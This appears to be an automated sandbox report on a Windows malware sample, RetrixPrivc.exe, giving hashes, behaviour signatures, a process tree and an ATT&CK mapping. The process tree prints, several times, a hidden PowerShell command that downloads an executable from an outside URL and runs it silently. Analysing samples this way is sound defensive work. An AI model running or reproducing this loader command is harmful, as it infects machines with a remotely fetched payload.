a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a

General

Target
RetrixPrivc.exe
Size 3.5MB
Sample260623-e29lnsas6r
SHA256 a3e986c86a862fe375c81963eab189f3127cca95438e7998d810c8f94978b00a
MD5 e26a92774fb69c0bd18bba64bf9fc2f9
SHA1 11b98bc63cc11802f6281c57901b82dfb1629378
SHA512 d822d99592f086a108c171ded75a3aa0cb97ff7c88c35c679919f7755efe33a9288b22a19e2a0c1243c4adfb530ae527bdeb5c950a773fc4fdca67eb47cfb11f
SSDEEP 49152:QOMRWhtiKhjJfNrQqN3h9xm89+BKnHmYC7HWu9KQZjVbVunwEfil4LOQ:aShjoBKnHmYC7HWu9KQZjVbc
TLSH
T168F5AE17B3EA00DCE277917CD6675713EAB1381807368BDB13D099566FA3BD09ABA301
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1876	powershell.exe
4420	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1824	RetrixPrivc.exe
1824	RetrixPrivc.exe
4420	powershell.exe
1876	powershell.exe
4420	powershell.exe
1876	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6124	RetrixPrivc.exe
6124	RetrixPrivc.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 3760	1824	RetrixPrivc.exe	90
PID 3760 wrote to memory of 4688	3760	cmd.exe	91
PID 1824 wrote to memory of 6124	1824	RetrixPrivc.exe	93
PID 6124 wrote to memory of 4740	6124	RetrixPrivc.exe	94
PID 4688 wrote to memory of 4420	4688	cmd.exe	95
PID 4740 wrote to memory of 3564	4740	cmd.exe	96
PID 3564 wrote to memory of 1876	3564	cmd.exe	98
PID 6124 wrote to memory of 1676	6124	RetrixPrivc.exe	99
PID 6124 wrote to memory of 4808	6124	RetrixPrivc.exe	100
PID 6124 wrote to memory of 4948	6124	RetrixPrivc.exe	101

C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe
"C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4420
- C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe
  "C:\Users\Admin\AppData\Local\Temp\RetrixPrivc.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:6124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4b3b79a959941404a5bb8eae955909f8c86b7d05e1781b9ed5dcc72a7cb4d20e
MD5 f1917b1b23b33e605ce112b38870e0e2
SHA1 b659300a2f39c4c1c6958469e6a0ffd057986fe5
SHA512 622b483cda982fd7500c70ab15bb17597ede8f61013781d574bf6e2d036ad6acda1697813d03e3615964f99b5a9d3e06e9948a221526b5a1af0af758ab7dfe89
TLSH
T198215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uyrzg3fa.2n2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uyrzg3fa.2n2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing